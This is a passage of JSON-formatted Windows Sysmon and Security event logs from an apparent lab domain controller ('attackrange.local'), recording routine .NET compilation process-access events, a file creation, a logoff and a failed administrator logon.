11:59:42.822","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-422E-5F2D-0000-0010EA710900}","TargetProcessId":"3232","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:59:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:42","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6380,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:42.822\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-422E-5F2D-0000-0010EA710900}\r\nTargetProcessId: 3232\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:42.822","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-422E-5F2D-0000-0010EA710900}","TargetProcessId":"3232","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:49","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":222247,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x91EC4\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x91ec4","LogonType":"3","EventReceivedTime":"2020-08-07 11:59:51","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:49","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":6381,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 11:59:49.979\r\nProcessGuid: {90617006-422E-5F2D-0000-0010EA710900}\r\nProcessId: 3232\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\ca0-0\\System.dll\r\nCreationUtcTime: 2020-08-07 11:59:49.979","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 11:59:49.979","ProcessGuid":"{90617006-422E-5F2D-0000-0010EA710900}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\ca0-0\\System.dll","CreationUtcTime":"2020-08-07 11:59:49.979","EventReceivedTime":"2020-08-07 11:59:51","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:50","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6382,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:50.213\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4236-5F2D-0000-0010F0770900}\r\nTargetProcessId: 3468\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:50.213","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4236-5F2D-0000-0010F0770900}","TargetProcessId":"3468","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:51","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:50","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6383,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:50.213\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4236-5F2D-0000-0010F0770900}\r\nTargetProcessId: 3468\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:50.213","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4236-5F2D-0000-0010F0770900}","TargetProcessId":"3468","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:59:51","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:50","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6384,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:50.213\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4236-5F2D-0000-0010F0770900}\r\nTargetProcessId: 3468\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:50.213","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4236-5F2D-0000-0010F0770900}","TargetProcessId":"3468","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:51","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:50","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6385,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:50.416\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4236-5F2D-0000-00103E7B0900}\r\nTargetProcessId: 4784\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:50.416","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4236-5F2D-0000-00103E7B0900}","TargetProcessId":"4784","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:51","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:50","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6386,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:50.416\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4236-5F2D-0000-00103E7B0900}\r\nTargetProcessId: 4784\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:50.416","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4236-5F2D-0000-00103E7B0900}","TargetProcessId":"4784","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:59:51","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:50","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6387,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:50.432\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4236-5F2D-0000-00103E7B0900}\r\nTargetProcessId: 4784\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:50.432","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4236-5F2D-0000-00103E7B0900}","TargetProcessId":"4784","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:51","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:50","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":222248,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\tadministrator\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tAn Error occured during Logon.\r\n\tStatus:\t\t\t0xC0000225\r\n\tSub Status:\t\t0x0\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork 